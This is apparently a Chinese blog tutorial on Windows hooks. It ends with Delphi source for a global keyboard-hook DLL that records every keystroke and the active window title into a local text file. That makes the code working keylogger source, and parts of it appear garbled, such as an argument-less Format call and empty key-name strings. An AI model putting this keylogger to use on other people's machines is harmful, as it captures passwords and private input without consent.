键盘Hook【Delphi版】
<div id="cnblogs_post_body">一.钩子的基本概念a) Hook作用:监视windows消息,在&ldquo;特定消息&rdquo;没有到达窗口之前捕获它。
b)钩子分类:
线程专用钩子:只监视指定的线程
全局钩子:监视系统中的所有线程
如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;
如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对整个系统进行监控.
c)几种常用类型的钩子:
1)键盘钩子可以监视各种键盘消息。
2)鼠标钩子可以监视各种鼠标消息。
3)外壳钩子可以监视各种Shell事件消息,启动和关闭应用程序等。
4)日志钩子可以记录从系统消息队列中取出的各种事件消息。
5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。
d) 详细参考:
理论分析:http://blog.csdn.net/yincheng01/article/details/6899305
常用方式:http://www.cnblogs.com/linyawen/archive/2011/03/25/1995624.html
二.键盘钩子的实际应用
a)键盘钩子DLL源码
<div class="cnblogs_code">library KeyboardHook;usesSysUtils,Windows,Messages,Classes;{$R *.res}varhook: HHOOK; {钩子变量}LastFocusWnd:Hwnd=0;PrvChar:Char;HookKey:String;KeyList:Tstringlist;constKeyMask=$80000000;{键盘钩子函数}function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall;var ch:Char; //记录一个个按下的按键字符 vKey:integer; //表示按下了哪个键 FocusWnd:HWND; //当前活动窗口句柄 Title:array[0..255] of char; //窗口句柄的标题 str:array[0..12] of char; // 当8<=vkey<=46时,表示按下的键名,例如[退格] PEvt:^EventMsg; //EventMsg的指针 iCapsLock,iNumLock,iShift:integer; //状态按键 bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键beginif iCode<0 then //遵照SDK文档begin Result:=CallNextHookEx(hook,iCode,wParam,lParam); Exit;end;if (iCode = HC_ACTION) then //设备动作begin PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针 FocusWnd:= GetActiveWindow; //获取活动窗体句柄 if (LastFocusWnd <> FocusWnd) then begin if (HookKey <> '') then begin KeyList.Add('键盘击打:'+HookKey); HookKey:= ''; end; GetWindowText(FocusWnd,Title,256); LastFocusWnd:= FocusWnd; KeyList.add(Format('激活窗口:%s',)); end; if (PEvt.message = WM_KEYDOWN) then //如果事件消息为键下压操作 begin vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容 iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态 iCapsLock:= GetKeyState(VK_CAPITAL); iNumLock:= GEtKeyState(VK_NUMLOCK); bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态 bCapsLock:=(iCapsLock = 1); bNumLock:= (iNumLock = 1); end; if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9 begin if (not bShift) then //如果没有按下Shift键 ch:= char (vkey) //数字字符 else begin case vkey of //否则为以下字符之一 48:ch:= ')'; 49:ch:= '!'; 50:ch:= '@'; 51:ch:= '#'; 52:ch:= '$'; 53:ch:= '%'; 54:ch:= '^'; 55:ch:= '&'; 56:ch:= '*'; 57:ch:= '('; end; //end case end; //end else HookKey:= HookKey + ch; end; //end if ((vKey >= 48) and (vKey <=57)) if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z' begin if (not bCapsLock) then //如果没有按下CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey) //大写 else ch:= char(vkey + 32); //小写 end else //按下了CapsLock键 begin if (bShift) then //按下了Shift键 ch:= char(vkey + 32) //小写 else ch:= char(vkey); //大写 end; HookKey:= HookKey + ch; //将按键添加到按键字符串 end; if ((vkey >= 96) and (vkey <= 105)) then //小键盘的0-9 if bNumLock then HookKey:= HookKey + char(vkey - 96 + 48); ch:= 'n'; if ((vkey >= 105) and (vkey <=111)) then //+-*/ begin case vkey of 106:ch:= '*'; 107:ch:= '+'; 109:ch:= '-'; 111:ch:= '/'; else ch:= 'n'; end; end; if ((vkey >=186) and (vkey <= 222)) then //特殊符号 begin if (not bShift) then //没有按下Shift键 begin case vkey of 186:ch:= ';'; 187:ch:= '='; 189:ch:= ','; 190:ch:= '.'; 191:ch:= '/'; 192:ch:= '''' ; 219:ch:= '['; 220:ch:= '\'; 221:ch:= ']'; 222:ch:=char(27); else ch:= 'n'; end; //end case end else begin case vkey of 186:ch:= ':'; 187:ch:= '+'; 189:ch:= '<'; 190:ch:= '>'; 191:ch:= '?'; 192:ch:= '~'; 219:ch:= '{'; 220:ch:= '|'; 221:ch:= '}'; 222:ch:= '"'; else ch:= 'n'; end; //end case end; //end if else end; //end if ((vkey >=186) and (vkey <= 222)) if ch <> 'n' then //剔除未规定字符 HookKey := HookKey + ch; if ((vkey >= 8) and (vkey <=46)) then begin ch:= ' '; case vkey of 8:str:= ''; 9:str:= ''; 13:str:= ''; 32:str:= ''; 35:str:= ''; 36:str:= ''; 37:str:= ''; 38:str:= ''; 39:str:= ''; 40:str:= ''; 45:str:= ''; 46:str:= ''; else ch:= 'n'; end; if (ch <> 'n') then begin HookKey := HookKey + str; end; end; // KeyList.Add('ABC');end;//end iCode= HC_ACTIONresult := CallNextHookEx(hook,iCode,wparam,lparam);end;{建立钩子}function SetHook:Boolean;stdcall;beginif (hook = 0) thenbegin KeyList:=Tstringlist.Create; hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0); //调用API HOOK Result:=hook<>0endelse Result:=False;end;{释放钩子}function DelHook:Boolean;stdcall;beginif (hook <> 0 ) thenbegin Result:=UnHookWindowsHookEx(hook); //卸载HOOK hook:=0; KeyList.Free;endelse Result:=False;end;procedure PrintHook;stdcall;varprintStr:string;txtFile:TextFile;fileName:string;begin if KeyList <> nil thenbegin printStr:=keyList.Text; KeyList.Text:=''; //将键盘输入内容进行打印 fileName:='E:\SourceCode\DelphiWorkspace\Demo\键盘Hook2\keyboardRecord.txt'; AssignFile(txtFile,fileName); if not FileExists(fileName) then begin Rewrite(txtFile); end else begin Append(txtFile); end; Writeln(txtFile,printStr); Closefile(txtFile);end;end;{按DLL的要求输出函数}exportsSetHook name 'SetHook',DelHook name 'DelHook',PrintHook name 'PrintHook';//SetHook,DelHook,PrintHook;{如果不需要改名,可以直接这样exports}beginend.
页:
[1]